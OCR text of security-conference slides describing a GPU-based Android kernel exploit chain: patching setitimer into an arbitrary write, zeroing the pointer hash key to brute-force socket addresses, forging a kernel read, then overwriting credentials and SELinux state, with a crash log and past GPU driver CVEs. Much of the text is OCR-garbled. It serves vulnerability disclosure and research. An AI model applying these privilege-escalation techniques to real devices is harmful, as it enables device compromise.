18446743887112222641 18446743887112516147 18446743887112750425 18446743887112350098 18446743887112981804 1844674388711
2549403 18446743887112318287 18446743887112350117 18446743887113046443 18446743887112683878avg_atom
. 5.625192
avg_per_cpu : 16.875576
nr_switches

g 3
nr_voluntary_switches » ~ python3 -c "printChex(18446743887112222641))'
nr_involuntary_switches @xffffffd48deeb7bl

se.load.weight

se.avg.load_sum 47520

,A an>0D
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Forge Kernel Arbitrary Write

By Patching Kernel Code Directly From GPU HW
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Forge Kernel Arbitrary Write

e Where to get kernel arbitrary write 7?77

e There're alot of candidates
o binder ioctl
o setsockopt
O
e Most of the possible candidates can be used for “crafting” a memory
corruption
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Forge Kernel Arbitrary Write
e Check function that receives user input directly...

setitimer(2) - Linux man page

Name

getitimer, setitimer - get or set value of an interval timer

Synopsis

#include <sys/time.h>

int getitimer(int which, struct itimerval xcurr_value);

int setitimer(int which, const struct itimerval xnew_value,
struct itimerval xold_value);
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Forge Kernel Arbitrary Write

e Patch _armé4 sys setitimer(which, value, ovalue)

SMTIHIHIITL.I T 11 LWUOULIOI LU 1% UU “4U vJ Lun wWLv, LAV] y LUuaAu 11 v nicmul y

.kernel:FFFFFFCO80198FEC FF FF 01 A9 SIP XZR, XZR, [SP,#0x70+var_58] ; Store Pair
.kernel:FFFFFFCO80198FFO FF FF 00 A9 STP XZR, XZR, [SP,#0x70+var_68] ; Store Pair
.kernel:FFFFFFCO80198FF4 21 01 00 B4 CBz X1, loc_FFFFFFC080199018 ; Compare and Branch on Zer
.kernel:FFFFFFCO80198FF8 A0 A3 00 D1 SUB X0, X29, #-var_28 ; Rd = Opl - 0Op2
.kernel:FFFFFFCO80198FFC 02 04 80 52 MOV, B 101 ] o I T W= T2
.kernel:FFFFFFC080199000 61 02 00 79 STRH W1, [X19] ; Keypatch modified this from:
.kernel:FFFFFFC080199000 : STP XZR, XZR, [X29,#var_18]
.kernel:FFFFFFC080199000 ; Keypatch modified this from:
.kernel:FFFFFFC080199000 s STR X1, [X19]
.kernel:FFFFFFC080199000 ; Keypatch modified this from:
.kernel:FFFFFFC080199000 : SR il 10 ]
.kernel:FFFFFFC080199004 BF FF 3D A9 STP XZR, XZR, [X29,#var 28] ; Store Pair

e _ syscall setitimer(which, value, ovalue)

ag| 3~ Kernel arbitrary write and
46 -\vfiECiéL'ISLEE e copy_from_user will return
3; ﬁb(Izcgt;_from_user_lz(&vlb, value, 32LD)]) -1early

gg ' result = -14LL;

51 goto LABEL_20;

- an>=0D
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Forge Kernel Arbitrary Write

e _ syscall_setitimer(which, unsigned int val, unsigned long target_addr)
o *(unsigned int*)target_addr = val;

e |[fsomeone else calls __syscall_setitimer, the kernel will crash
o Privilege Access Never
o  Writing an user space address directly in the kernel is not allowed

e |f we patch this syscall, how stable the exploit is?
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Forge Kernel Arbitrary Write

e | wrote a bug in my exploit app and it crashed ...

o crash_dumpé4 calls setitimer
[23455.250036][ T6551] Unable to handle kernel access to user memory outside uaccess routines at virtual address 0000007fc024e1d0

[23455.251908][ T6551] CPU: 0 PID: 6551 Comm: crash_dump64 Tainted: GS W OE  6.6.56-android15-8-g99ff92¢2bc93-ab12633206-4k
#1 1400000003000000474e5500089f7d33e1b1d0d5
[23455.251931][ T6551] Hardware name: FRANKEL Proto 1.0 based on LGA (DT)

[23455.251946][ T6551] pstate: 63400005 (nZCv daif +PAN -UAQ +TCO +DIT -SSBS BTYPE=--) Please don’t let your
[23455.251960][ T6551] pc : __arm64_sys_setitimer+0x3c/0x180

[23455.251999][ T6551] Ir : invoke_syscall+0x58/0x114 1 1
[23455.252024][ T6551] sp : fffffic0ad2dbd90 exploit app crash in the
23455.252032][ T6551] x29: ffffficOad2dbe00 x28: fiffif880f4d3840 x27: 0000000000000000 .

[ middle of the

[23455.252053][ T6551] x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000

[23455.252070][ T6551] x23: 0000000080001000 x22: 000000750cdc7848 x21: ffffff880f4d3840 . .
[23455.252086][ T6551] x20: 0000000000000000 x19: 0000007fc024e1d0 x18: ffffffd79dcabecO eXp|O|tatI0n :)
[23455.252102][ T6551] x17: 00000000b02b34d9 x16: 00000000b02b34d9 x15: 0000000000000000

[23455.252118][ T6551] x14: 0000000000000020 x13: 0000007fc024e208 x12: 0000007fc024e1d0

[23455.252135][ T6551] x11: 0000007fc024e1f0 x10: 00000000c00000b7 x9 : 04ece67205029700

[23455.252153][ T6551] x8 : 04ece67205029700 x7 : 0000000000000000 x6 : 0000000000000000

[23455.252168][ T6551] x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000

[23455.252184][ T6551] x2 : 0000000000000020 x1 : 0000007fc024e1f0 xO : ffffffc0a42dbdd8

[23455.252201][ T6551] Call trace:

[23455.252214][ T6551] __arm64_sys_setitimer+0x3c/0x180

[23455.252228][ T6551] invoke_syscall+0x58/0x114

[23455.252242][ T6551] el0_svc_common+0x80/0xe0

[23455.252256][ T6551] do_el0_svc+0x1c/0x28

6551] el0_svc+0x38/0x68 an>=k01D
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Forge Kernel Arbitrary Read

By Patching Kernel Code Directly From GPU HW
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Forge Kernel Arbitrary Read

e Where is kernel arbitrary read? 43
o Checked all syscalls ... Didn't really find a good target

e Find some socket related objects, use arbitrary write and ioctl handlers
to forge an arbitrary read

e Where to get a socket object leak ?!
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Leak Kernel Sock Object Heap Address

e Create a udp socket
frankel:/ $ cat /proc/self/net/udp

sl Tlocal_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode ref pointer drops
5683: 0100007F:E2C1 00000000:0000 07 00000000 : 00000000 0000000000 00000000 10290 0@ 198136 2 2000000000000000 @

e Kernel pointer value is guarded by %pK
o To print the kernel address, we need to overwrite global kernel data kptr_restrict

.kernel:FFFFFFCO820AB618

.kernel:FFFFFFCO820AB620 EXPORT Kptr_restrict
.kernel:FFFFFFCO820AB620 00 00 00 00| kptr_restrict DCD ©
.kernel:FFFFFFC0820AB620

.kernel:FFFFFFCO820AB624 00 00 00 00 ALIGN 8
.kernel:FFFFFFC0820AB628 00 00 00 00 00 00 00 00 ptr_key DCQ 0, ©

.kernel :FFFFFFC0O820AB628 00 00 OO0 00 00 00 00 006
.kernel:FFFFFFC0O820AB638 00 00 00 00 OO0 00 00 00 filled random ptr kev DCQ ©

ano=0I1D
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Leak Kernel Sock Object Heap Address

e If kptr restrict is 2 (default): Print Ox0 )¢
e If kptr_restrict is 1: Print full kernel address only if you're root )¢

e [f kptr restrictis O:
o If no_hash_pointers is true, print full kernel address
o It's zero by default in kernel .rodata in device .,,

830 static char xdefault_pointer(char xbuf, char xend, const void *ptr,

831 struct printf_spec spec)
58 832 {
. . . . 83
59 /* Dlsable pOlnFer haShlng lf r‘ques.ted */ 83 * default is to _not_ leak addresses, so hash before printing,
6@ bool_ no hash pOJ_nterS ro after ]_nlt; 83 * unless no_hash_pointers is specified on the command line.
o T SN ope e = 83 */
61 EXPORT_SYMBOL_GPL(no_hash_pomters); 83 if (unlikely(no_hash_pointers))
62 83 return pointer_string(buf, end, ptr, spec);
839
840 return ptr_to_id(buf, end, ptr, spec);
841 }
842
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Leak Kernel Sock Object Heap Address

e Write no_hash_pointers in kernel .rodata to a non-zero value?
o Can't use our arbitrary write primitive because it will trigger kernel write panic

e The kernel page contains no_hash_pointers is not remotely important
o  Overwrite the page by GPU geometry data?

FFFFFFCO815EC2A0 08 05 28 81 CO FF FF FF DCQ ioam6_genl_ops
FFFFFFCO815EC2A8 00 00 00 00 00 00 00 00O.. DCQ O, 6, 8, 0, 6, 8
FFFFFFCO815EC2D8 EXPORT devlink_nl_family

FFFFFFCO815EC2D8 00 00 00 00 64 65 76 6C devlink_nl_family DCQ 0x6C76656400000000, Ox6B6E6S, 0x100000000, 0x20280003000000B3
FFFFFFCO815EC2D8 69 6E 6B 00 00 060 00 00 DA XREF ievlink_nl 11+30+1¢

FFFFFFCO815EC2D8 00 00 00 00 61 00 00 06.. fevlink_nl oad_ac s_p snd+50+¢
FFFFFFCO815EC2F8 01 byte_FFFFFFCO815EC2F8 DCB 1 DATA XRE v <_notify+90+10
FFFFFFCO815EC2F8 fevlink_no
FFFFFFCO815EC2F9 54 00 00 00 00 00 00 DCB 6x54, 0, 6, 0, 0, 0, ©

FFFFFFCO815EC300 B8 67 28 81 CO FF FF FF DCQ devlink_nl_policy

FFFFFFCO815EC308 28 FO FC 80 CO FF FF FF DCQ devlink_nl_pre_doit

FFFFFFCO815EC310 F4 F1 FC 80 CO FF FF FF DCQ devlink_nl_post_doit

FFFFFFCO815EC318 00 00 00 00 00 00 00 00 ALIGN 0x20

FFFFFFCO815EC320 EG@ 63 28 81 CO FF FF FF DCQ devlink_nl_small_ops

FFFFFFCO815EC328 28 BA 28 81 CO FF FF FF DCQ devlink_nl_ops

FFFFFFCO815EC330 AO 67 28 81 CO FF FF FF DCQ devlink_nl_mcgrps "config"

:FFFFFFCO815EC338 00 00 00 00 00 00 00 00 DCQ ©

FFFFFFCO815EC340 00 00 00 00 DCB 0, 0, 0, ©

FFFFFFCO815EC344 00 00 00 00 dword_FFFFFFCO815EC344 DCD © DATA XR evlink_not 9
FFFFFFCO815EC344 levlink_no +A
FFFFFFCO815EC348 00 00 00 00 00 00 00 00 ALIGN 0x10

FFFFFFCO815EC350 EXPORT vmlinux_build_id

FFFFFFCO815EC350 00 00 00 00 00 060 00 00 vmlinux build id DCQ 0, O ATA XRE dum stack_pri
FFFFFFOeI e o0 y X c
:FFFFFFRO815EC360 00 00 00 00 DCB 6, 0, 0, ©

:FFFFFFO815EC364 EXPORT no_hash_pointers

:FFFFFFRO815EC364 00 no_hash_pointers DCB 0 DATA XREF

:FFFFFFRQR e4 fence roooct
FFFFFFCO815EC365 Lo P

FFFFFFCO815EC368 00 debug_boot_weak_hash DCB 0 DATA XRE

FFFFFFCO815EC368 lefault_po

CCCCCCANOICCA260 AA AQ AA AA AQ AQ AN nFDA A A A A A A
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Leak Kernel Sock Object Heap Address

e Yes, we can fill this page with Pixel data by the GPU hardware!

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
00000000 | @ABBACDEFFEGHIJJ |
000000b0 | TKLMNNMOPQRRQSTU |
000000co [VVUWXYZZY[\JAA] I
000000dd
000000ed
00000010
00000100
00000110
00000120

e Can we find a more stable way to read the kernel address?
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Leak Kernel Sock Object Heap Address

e Ifkptr_restrictisO,the kernel default behavior is to print the hash{addr}:

770 /* Maps a pointer to a 32 bit unique identifier. x/

771 static inline int __ptr_to_hashval(const void *xptr, unsigned long *hashval_out)
772 {

773 unsigned long hashval;

->when retrnsmt uid timeout inode ref pointer drops

774

775| & (IREAD_(NCEFTTSd.Fandon gt Ke) PO000O 00000000 10290 0 176744 2 00000000d1ddb782 ©
777 o N DOVOOO0 20000000 10290 @ 176745 2 00000000b690f35a @
778 /* Pairs with smp_wmb() after writing ptr_key. x/

779  smp_rmb();

780

781 #ifdef i

;gg Dishv; = (unsigned long)siphash_1u64((u64)ptr, &ptr_key);

784 * Mask off the first 32 bits, this makes explicit that we have
785 * modified the address (and 32 bits is plenty for a unique ID).

786 "
787 l hashval = hashval & oxffffffff;

788
789  hashval = (unsigned long)siphash_1u32((u32)ptr, &ptr_key);
790 #endif

791 xhashval_out = hashval;
792 return 0;

793 }
e Thehashkey ptr_key isin.data section with R‘'W memory permission

:FFFFFFCO820AB620

:FFFFFFCO820AB624 00 00 00 REION ©
:FFFFFFCO820AB628 00 00 00 MO 00 00 00 00 ptr_key DCQ 0, 0
:FFFFFFCO820AB628 00 00 00

{FFFFFFC0820AB638 00 00 00 00 00 00 00 00 filled_random_ptr_key DCQ ©

:FFFFFFC0820AB638 ptr_to_hashval+4r
:FFFFFFC0820AB640 EXPORT __SCK__tp_func_initcall_

:FFFFFFC0820AB640 80 CO FF FF FF _ SCK__tp_func_initcall_level DCQ _ traceiter_initcall_level CInQOI
:FFFFFFC0820AB640 DATA XREF kernel

DAT/

:FFFFFFCO820AB648 EXPORT _ SCK__tp_func_initcall_start QGD Tqu




Leak Kernel Sock Object Heap Address

e Overwrite the hash key to ZERO
e Since we know the allocated heap object is likely around Oxffffff8800000000 -

Oxffffff8a00000000, with object size Ox100

for (unsigned long long i = Oxffffff88000OEEEO; i <= OxFFFFFF8IFFffffOO; i += O0x100) {

auto guess_hash :u64 = siphash_1ué4( first: (ué4)i, &key);
// hash_é64_generic(i, 32); BrUte fOrCe the haSh and
guess_hash &= OxFFFfffff; uncover the kernel
if (guess_hash == (unsigned long long)hash) { pointer address! There’s
LOGW("Hash didate = Ox%Llx", i); . .
CHHESRseiaty = B 4 no hash collision btw :-)

candidate = i;
num_found += 1;
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Forge Kernel Arbitrary Read Primitive

Iproc/self/net/udp: udp4_seq_show -> udp4_format_sock:

3370 /*

3371 static void udp4_format_sock(struct sock xsp, struct seq_file xf,

*/

3372 int bucket)

3373 {

3374  struct inet_sock xinet = inet_sk(sp);

3375 __be32 dest = inet->inet_daddr;

3376 __be32 src = inet->inet_rcv_saddr;

3377  __ul6 destp = ntohs(inet->inet_dport);

3378  __ul6 srcp = ntohs(inet->inet_sport);

3379

3380 seq_printf(f, "%5d: %08X:%04X %08X:%04X"

3381 " %02X %08X:%08X %02X:%081X %08X %5u %8d %lu %d %pK %u",

3382 bucket, src, srcp, dest, destp, sp—>sk_state,

3383 sk_wmem_alloc_get(sp),

3384 udp_rqueue_get(sp),

3385 0, oL, o, L. .
3386 fromekuid.mungedlsen user_ns(f), sk_uid(sp)), F)r|r1t|r1€; inode
3387 0,

3388 refcount_read(&sp—>sk_refcnt), sp,

3389 atomic_read(&sp->sk_drops));

3390 }
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Forge Kernel Arbitrary Read Primitive

e We know sk already
o Overwrite sk->sk_socket

1| _int64 _ fastcall sock_i_ino(char *sk)
2 {

3 unsigned __int64 StatusReg; // x8

4 char *lock; // x19

5/ __int64 v4; // x8

6| _ _int64 v5; // x20

7 __1int64 unlock; // x0

8

9 StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0));
10 lock = sk + 0x228;

| L i ) B Arbitrary read primitive!
13 v4 = *((_QWORD *)ysk + Ox50) ; // we can overwrite *(sk+0x50)

14 ( vd )

15 l v5 = *(_QWORD *)(v4 + 0xCO);

16

17 v5 = OLL;

18 unlock = raw_read_unlock(lock);
19 local_bh_enable_14(unlock);
20 return v5;

ano=0I1D

=CED TCAM



oY
Final Exploit & Demo

oogle



The Final Touch

e Arb R/W, KASLR Bypass

o Overwrite cred object by iterating init_task_list_head
o Clear SELinux AVC decision mapping
o Flush SELinux AVC cache

The exploit is built based on an internal test build. Production devices are not affected.
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frankel:/ $ logcat -c && logcat | grep -i icebear

0


https://docs.google.com/file/d/1c5aeTdl4GKCjeyJ6jlPyUi1biLTggUXe/preview?resourcekey=0-yOh_8NXUCHH6B3pIPW_AIA

Y

Historical Freelist Vulnerabilities
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Historical Freelist Vulnerabilities

e PSP-44:Information Leak because FL is readable by GPU
o (CVE-2024-23715: Failure for sanitizing GPU writable permission against FL

GPU Virtual Memory CPU mmap
0x8000000000| |
‘General Heap
RW
|
0xa000000000 | Freelist
0xfa00000000
Freelist <
No access
0xfad40000000| | Writable
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Historical Freelist Vulnerabilities

o CVE-2025-25179: Remap FL o CVE-2025-0478

GPU Virtual Memory GPU Virtual Memory

0x8000000000 | 0x8000000000
Remap <
General Heap ' General Heap )
RW i RW — GEM |
| —
0xa000000000| 0xa000000000 | — —4 DMABUF |
0xfa00000000 | —————
0xfa00000000 z Freelist
F Freelist i—  PMMETA |
i‘ PMME No access
Nojaccoss 0xfa40000000
0xfa40000000 flaliiiid,
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Historical Freelist Vulnerabilities

e CVE-2025-0468: “RobustnessAddress”

ui64RobustnessAddress

> - GPU
P Write error info back Tl
GPU Driver GPU Firmware
Freelist State Buffer
” - GPU
‘Overwrite Freelist State Buffer
GPU Driver GPU Firmware
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Summary

oogle



Tile-based Deferred Rooting

e Not a quite conventional GPU vulnerability and exploit
e |esson learned: A tiny mistake in the render configuration could eventually
enable the GPU hardware to overwrite the AP kernel

App
Overwrite AP kernel i
4 E Parameter H 4 E GPU Driver
***  Manager
[ A
Corrupt FL Stack Pointer Register Share Freelist State Buffer

“ZGPU Firmware
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Questions? Read our blogs!




